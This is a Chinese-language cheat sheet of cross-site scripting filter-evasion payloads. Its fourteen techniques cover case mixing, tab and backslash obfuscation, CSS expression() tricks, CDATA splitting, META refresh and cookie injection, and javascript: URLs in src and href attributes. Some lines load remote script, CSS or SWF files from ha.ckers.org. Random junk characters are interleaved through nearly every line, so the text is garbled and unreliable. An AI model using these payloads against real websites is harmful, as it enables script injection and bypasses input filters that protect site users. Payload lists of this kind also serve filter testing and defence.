1. 改变字符大小写
8 K9 K( Y3 P; s) d& f6 X% [# _# H2 @
* M: S7 k9 {0 p8 {
$ b7 M. G6 M2 H1 P6 r0 B <sCript>alert(‘d’)</scRipT>
; W# |5 \/ e& W0 \3 e0 L6 h$ ~# b y; d* A! R: {# H( @- Z
2. 利用多加一些其它字符来规避Regular Expression的检查0 A5 V# v. k4 j; Z$ v' E6 v- k
/ Z' n" d5 I" `$ q2 x# g* s5 K: a <<script>alert(‘c’)//<</script>
0 u3 v# C3 J! z1 y- M: S/ O, X; c6 [
+ O! ~5 c8 h! g4 [) y y <SCRIPT a=">" SRC="t.js"></SCRIPT>
4 }" b. N- x, l4 y) t/ w: r
. R5 ^. P4 h* g" K4 _) H) F <SCRIPT =">" SRC="t.js"></SCRIPT>' s: Z3 d5 z _1 E( O: H
3 F/ o8 C( _6 V' J% y4 }6 X
<SCRIPT a=">" ” SRC="t.js"></SCRIPT>& T* {; T2 C# m, O
5 Q4 _1 o- H9 L: L* _* t
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>" O6 A9 h: W" T& g5 H% B7 U
& t0 t0 z9 ?- f9 \
<SCRIPT a=`>` SRC="t.js"></SCRIPT>
% h& N8 T _; I2 J6 i% W) v, I+ _: W7 D. d4 d+ g7 a; h3 v
<SCRIPT a=">’>" SRC="t.js"></SCRIPT>
" \0 p( ^& l/ O) Q2 n' T2 X# L, S; L
3. 以其它扩展名取代.js: N6 d4 h: Z0 _1 V) m6 q8 e, y* U& ?
( {) o$ D7 G6 X( O! Y# y$ n6 n <script src="bad.jpg"></script>
/ p. u/ [2 Y$ n8 E8 `0 @! B4 X# V9 a
: V+ w) H# F* E/ w& W! Z4. 将Javascript写在CSS档里
# F0 C% r0 X z) _; T' R& P Q' v+ l. ~" e [& c
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"># `( E+ }# c, _& u1 S
+ _2 n' N9 A" s7 m example:" g" s' `0 j" ? C1 N0 |) I
: X+ ]5 J9 U4 ^) K body {
/ m' l2 l; v! @% v7 R6 @% Q) m( Y" Y6 A& n0 c+ q+ \2 ~* a! N( R* _( t7 I
background-image: url(‘javascript:alert("XSS");’)
% h# c' c7 g3 u- e) `/ r1 t) T0 J6 G9 ~" l6 Z1 S8 @3 l
}& L# m0 u! w) y% V ? ?: ?
. q/ f# M( s6 g/ Z0 e; V
5. 在script的tag里加入一些其它字符6 F$ W% `. N( v* f3 c, [
3 p5 o$ j; W, L v) f6 a3 P' N
<SCRIPT/SRC="t.js"></SCRIPT>
3 N& ]8 J3 q6 u) x' T" p; ? v1 J
' W2 }# m) h: b$ B5 B% c! m <SCRIPT/anyword SRC="t.js"></SCRIPT>
% w2 e$ L! D2 E
5 Q- w5 L7 F) D4 P0 H# \9 F1 j6. 使用tab或是new line来规避 }4 {8 v% {$ |% b6 f9 [) Q
; ^' }+ d+ f* w4 w <img src="jav ascr ipt:alert(‘XSS3′)">; k3 X7 {- k7 H
- g' q) }6 r( `" \! R! W' H
<img src="jav ascr ipt:alert(‘XSS3′)">
9 } p% v6 H9 I4 R
: j' |* m2 [+ ^! U- S) ? <IMG SRC="jav ascript:alert(‘XSS’);">
# R; d5 G: b) }# F2 }+ y+ L( z. |
-> tag
8 ^8 A% _& G( w" _5 v$ Q! Z+ {7 N1 Y9 k E) i+ h% E, _
-> new line
8 L9 L' S5 C" x! P" C( d( _% }
8 ?* |) c3 v" U' s6 P- q' L, m7. 使用"\"来规避' Q7 @! V# I4 e1 W* |
, w5 i% @/ D9 [4 }* q <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>) Y, Y) u$ ]% L
5 d. g% @; m% Q' {# e. T2 J* j
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
% U' w; X# a. @' U
6 ^2 w& D- _ j! v% O) i <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">) |+ I5 ^8 ~3 `/ O
. r1 x4 S3 ~9 Q# R0 \) N
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">, R+ Q% X0 m7 G J
) N6 M* J! A9 w0 w7 } <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>& }' [$ P& ?& N) F6 A* k, w9 K
% t' D$ m& c8 @6 g2 x) z8. 使用Hex encode来规避(也可能会把";"拿掉)
3 [, b) x8 Q6 r8 e X' {$ g
& |% @7 a; G% c! u3 R9 W! Q <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">7 g2 A, J/ @* z% z# H7 s
& i% w \2 U u3 U3 v0 g$ y 原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">1 k. {9 E0 a3 \# v, E
( i# Y! D- i. |/ y+ B <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">3 t8 u+ D# @' h! Z
( y' x) V1 o' [& b
原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">- b8 y( l# ?1 R2 I
: J& r/ R+ w h9 G5 h$ M# Z- B9. script in HTML tag
% t; f. v: `: {2 u0 G- q3 j% q% ?
1 |( s a9 m* }( X3 y <body onload=」alert(‘onload’)」>
& Y( \4 F+ h: C; |. Q7 Q
. Q5 C. y3 F% V' |7 D9 } onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload5 `, d' d. r* u8 K1 k: J
$ }- ?* |' {0 d8 p" D$ B4 ?10. 在swf里含有xss的code6 Z s0 m* G8 U# l/ T1 ~$ k
, B$ G( }. D+ f L <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>( ~, y! o/ f5 E8 K% }9 U
9 o8 ]) a+ S, d$ V- V11. 利用CDATA将xss的code拆开,再组合起来。5 P, T5 \2 L E! c9 j" ]( B7 k
: P8 H5 L; V0 g6 b <XML ID=I><X><C>) |5 K/ g& z5 z: | ~# h1 j7 @
9 }' b; r7 c8 ~( K' k1 }# o4 R <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>/ O5 Q! ~$ [, Z5 J4 Z
' d# P1 w) Z( u$ C* V4 W </C></X>
4 ?& K0 f% g6 O" X3 C; t, C0 P
. t! d- h' u2 G( b. h8 M </xml>: }0 ^# i/ N& z# o
' H# a+ k- |! Q% B! d
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
* E7 a4 b" \3 n5 Z, B3 l5 {$ ?7 o
8 D/ q. r, e6 \; ] <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
8 i4 W0 e6 B. _& ~; R; ~1 q
7 ?5 |' e# ~- [1 M <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
6 C1 F( L7 z) z0 v/ [" M H* }
9 R$ m* c8 u' ]9 |4 d8 J" M12. 利用HTML+TIME。
: I5 j/ Y/ J4 l1 S$ n
9 S0 V& C- ?/ c8 D/ n) m3 \4 K <HTML><BODY>* N+ U/ C8 e7 ]& _) Z/ y
7 F0 e S8 y; }6 @- R$ l* k <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">8 L* }' P9 C4 ]/ n5 O
. s j+ i; D9 x6 K; k
<?import namespace="t" implementation="#default#time2">
# U2 I$ N$ _4 u+ P6 f8 u/ v# R& j- X n1 K D; ~- l0 o
<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
$ W3 A a# o u" I. f! l7 W5 }6 S4 U4 t+ b# b( M8 {
</BODY></HTML>3 I7 e; i2 W+ B; l, ~8 L) Z6 S
. ?; C z+ [& _+ b9 [" F, ~8 T
13. 透过META写入Cookie。
) {5 H3 y) Q; a U) Z) ~; [$ h& P' P E- y4 h: \
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
% d. I% \) ]( ~% g0 j0 P2 ~& ?( M& P% L5 y
14. javascript in src , href , url. C# J% ]% V d f g% [$ ~) P9 ^" `; T
+ P; G" ?9 c( Z* Q2 X
<IFRAME SRC=javascript:alert(’13′)></IFRAME>
m K5 d# {0 r8 I! ^& n3 N. C0 y- p# A' K
<img src="javascript:alert(‘XSS3′)">
: Y7 c. p# _) ^4 C, ?0 \( f
$ _8 K$ P4 K# y6 ~, a! M<IMG DYNSRC="javascript:alert(‘XSS20′)">
2 a+ x3 ^# x7 E: F$ q
9 b/ u1 i y' B2 }4 O' | <IMG LOWSRC="javascript:alert(‘XSS21′)">
( t: I5 J. ]& ^! K2 h
5 q6 k* m: `6 x s1 V! p <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
1 g: {. Y0 | e4 K& ] m2 f! F5 |, ^! |$ c q/ u; s
<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
6 c! X; r# l. q- j9 t. m* B) p
& |7 k7 S2 }7 }. l5 F: j <TABLE BACKGROUND="javascript:alert(‘XSS29′)">0 f$ T3 h5 | O) g% }1 `
! D& q i8 J0 x& a* r
<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))"> Z7 c2 D8 J% b# `
, h. Y7 Z+ Q1 }; \
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
$ ^' B7 S5 E$ i: ` Y
. G# G, l! }+ d2 Y1 r </STYLE><A CLASS=XSS></A>
2 S( Z/ o( F# k7 L" a" P2 I
/ L, |* H; }2 e <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
( L! j: `3 S, @/ ?1 S4 T( o6 v# G! s
|